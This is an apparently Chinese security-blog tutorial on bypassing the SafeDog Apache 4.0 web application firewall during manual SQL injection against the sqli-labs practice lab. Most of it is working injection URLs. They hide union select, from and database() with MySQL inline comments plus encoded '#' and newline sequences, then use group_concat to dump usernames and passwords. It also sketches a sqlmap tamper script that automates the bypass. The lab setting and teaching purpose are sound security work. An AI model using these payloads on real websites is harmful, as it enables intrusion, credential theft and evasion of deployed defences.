微信公众号:乌鸦安全

扫取二维码获取更多信息!

说明

本次靶场采用经典的sqli-labs搭建,waf使用的是安全狗的apache4.0.26655版本,文章从最开始的分析到最后的结果,中间难免会有错误的地方,希望大家多多包涵和理解。

上次我们发了一篇SQL注入-安全狗超大数据包绕过的文章,使用的是安全狗apache3.5.12048版本,这次是4.0系列的版本,全手动注入,后续会带来这方面的视频课程和相关tamper的编写。

因为文章中的靶场搭载了公网上,所以对以前的笔记进行了打码。

如果你对sql注入不是很熟悉,可以B站看下我的sqli-labs系列视频

https://space.bilibili.com/29903122

相关笔记:

https://github.com/crow821/crowsec

查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users

1.闭合注入点

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --+

2. 判断列数

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order by 1  --+

拦截

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order  1  --+

显示正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  by  1  --+

显示正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order by  --+

异常

应该是order by不能连用,这里使用:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order/**/by  --+

不行

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order/*!*/by  --+

不行

这里使用换行试试:

%23#也就是注释符, %0a换行符

举例:

/* crow */

这是mysql的注释符,crow不会被执行

/*! crow */

这是mysql特有的内联注释,crow会被执行

/*!33333 crow*/

这是mysql的版本特性,当33333小于当前mysql版本号的时候,就会被执行

select * from /*! %23crow%0a*/users;

等同于下图

所以这里使用这样的方式进行判断:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order %23c%0a  by  4--+

已知3列

3. 判断当前数据库

法1 database()

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  union select 1,2,3 --+

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  union  1,2,3 --+

正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'   select 1,2,3 --+

正常

http:/127.0.0.1/sqli-labs-master/Less-1/?id=1'  union select 1,2,3 --+

不正常

所以这里应该是union select不能一起连用

于是使用上述的万金油方式:

关键字符

%23a%%0a

关键字

/*!%23a%%0a*/
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,3 --+

绕过

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,database() --+

错误

在这里将database()这个关键字分割,用

database/*!%23a%%0a*/()

因为在sql语句中,以下三种方式均可运行

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,database/*!%23a%%0a*/() --+

这里得到数据库是security

法2 schema_name

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from information_schema.schemata --+

错误

这里对其中的关键字进行测试,看看拦截了什么

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name  --+

正常

http://127.0.0.1sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,  information_schema.schemata --+

正常

http:/127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from --+

正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from  --+

正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,  from information_schema.schemata --+

异常

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from information_schema.schemata --+

异常

因此这里对from进行绕过

采用老方法:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name /*!%23a%%0a*/ frominformation_schema.schemata  --+

或者:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name  /*!%23a%%0afrom*/information_schema.schemata  --+

使用limit取出数据

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name  /*!%23a%%0afrom*/   information_schema.schemata limit 1,1  --+

这样太慢,不如使用group_concat()

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(schema_name)  /*!%23a%%0afrom*/   information_schema.schemata   --+

4. 取出security对应的表

select table_name from information_schema.tables where table_schema='security'

如法炮制:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(table_name) /*!from*/ information_schema.tables where table_schema='security' --+

额,这只用了一个内联注释而已,这也太。。。。

还有下面的几种方法:对from处理

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(table_name) /*!%23crow%0afrom*/ information_schema.tables where table_schema='security' --+

security进行十六进制处理:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(table_name) /*!%23crow%0afrom*/ information_schema.tables where table_schema=0x7365637572697479--+

5. 取出users对应的字段

查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段的值:select username,password from security.users

一样

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+

啊这,我连from都没处理,waf放弃抵抗了吗?

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+

还好,还好,原来还在

6. 取出username,password的值

查字段:select username,password from security.users
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, username  from security.users

起作用了

处理下from

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, username  /*!%23crow%0afrom*/ security.users --+

这样太慢,一次取出所有数据吧

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(concat_ws(0x7e, username, password)) from security.users --+

啊,这....

这防护。。。。

7. tamper编写

这里可以分析下,为了方便,可以将所有的空格,都替换为

/*!%23crow%0a*/

,再对from关键字替换为

/*!%23crow%0afrom*/

,再对database()替换为

database/*!%23crow%0a*/()

至于什么时候,到时候配合这个再出一期视频教程吧,可能需要久一点诶

tips:

文章中难免有错误的地方,希望各位师傅见谅哈!

微信公众号:乌鸦安全

扫取二维码获取更多信息!

SQL注入 安全狗apache4.0.26655绕过相关推荐

  1. SQL注入-安全狗apache最新版绕过

    微信公众号:乌鸦安全 扫取二维码获取更多信息! 01 背景知识 现在的环境下对web选手越来越不友好,如果想在web场景中去挖洞,基本上都要面对waf,而常用的waf产品有很多,本次以开源免费最新版安 ...

  2. SQL注入 安全狗apache3.5.12048版本绕过

    微信公众号:乌鸦安全 扫取二维码获取更多信息! 更新时间:2021.04.28 前言 没错,这次我们又来了,还是那条狗,绕过的是安全狗apache3.5.12048版本,个人感觉这个狗比上次的那个有难 ...

  3. SQL注入-安全狗apache绕过

    环境配置 Windows 10 phpstudy sqli-labs靶场 网站安全狗apacheV4.0 Fuzz绕过 写一个简单能绕过安全狗的语句(留一个位置刚好能触发安全狗,我这里and就能触发安 ...

  4. SQL注入 | 黑客入门篇(如何绕过密码登陆账号)

    SQL注入详解 什么是SQL注入 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击, 而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登陆甚至篡改数据库. SQL注入 ...

  5. SQL注入回顾篇(四)

    前言 忆往昔,峥嵘岁月稠!大学已经到了大三了,打了很多比赛,回顾还是挺欣慰!此系列来由是想留一点东西,把所学知识整理一下,同时也是受github上Micro8分享的启发,故想做一些工作,以留后人参考, ...

  6. SQL注入回顾篇(一)

    前言 忆往昔,峥嵘岁月稠!大学已经到了大三了,打了很多比赛,回顾还是挺欣慰!此系列来由是想留一点东西,把所学知识整理一下,同时也是受github上Micro8分享的启发,故想做一些工作,以留后人参考, ...

  7. 造成sql注入的功能点_创建一个SQL注入保护功能

    造成sql注入的功能点 .SQLCode { font-size: 13px; font-weight: bold; font-family: monospace;; white-space: pre ...

  8. 绕安全狗mysql_技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

    0×00 前言 本文使用了burp的intruder模块进行fuzz,并修改了sqlmap工具的tamper脚本,对安全狗进行绕过. 0×01注入绕waf过常用手法使用大小写绕过 使用/**/注释符绕 ...

  9. sql注入绕过安全狗4.0

    1.前言 2.前置知识 3.绕过关键字主要思路 3.1绕过连体关键字思路 3.2绕过单个关键字思路 4.以sqli-labs(Less-1)为例,绕过安全狗 4.1拦截order by 4.2拦截un ...

最新文章

  1. linux删除网卡bond,linux下网卡bond的基本配置及错误
  2. 图论(四)------非负权有向图的单源最短路径问题,Dijkstra算法
  3. matlab消去前一个图,各位matlab高手,如何从2个3元方程中消去一个变量,然后做3维图形~...
  4. ios 缺少合规证明
  5. 线程之线程共享成员变量的几种情况
  6. sqli-labs less11 POST注入-字符型
  7. php图片编辑失真,PHP处理图片固定大小 不失真 不变形
  8. aqlserver实用程序_sqlserver命令提示实用工具的介绍
  9. idea创建javaweb项目连接mysql【HTTP Status 500】
  10. quartus编译出现的问题
  11. java after 函数_函数周期表丨信息丨值丨ISONORAFTER
  12. Tech-Ed2004的收获
  13. 用纯SQL插入image文件
  14. 最好用的共享文件服务器,文件共享有哪些方式,哪种比较好?
  15. 数组填空题c语言及答案,C语言程序设计 程序填空题库及答案
  16. 小时候的蓝精灵,大家还记得木有哇?
  17. iphone 小代码总结
  18. 何钦铭c语言第三版第3章答案,何钦铭版C语言第3章答案精选.pdf
  19. 全网最全AD16——PCB布线
  20. 【离散数学】点割集(割点集)与边割集详解

热门文章

  1. Android的翩翩遐想
  2. scrapy mysql 多线程,爬虫进阶之Scrapy(三) 使用scrapy某新闻网并存到数据库
  3. mpvue小程序实现砸金蛋
  4. AJAX框架衣柜设计师,9张衣柜设计,设计师真的是那么不堪吗?
  5. C++实现一句英文句子中的单词逆置
  6. iOS-Swift3 监听UITextView文字改变
  7. 区块链和人工智能:完美匹配
  8. iOS图像处理之画圆角矩形
  9. 十进制转二进制,八进制,十六进制(PHP)
  10. 【leetcode】登峰造极--二叉树的右视图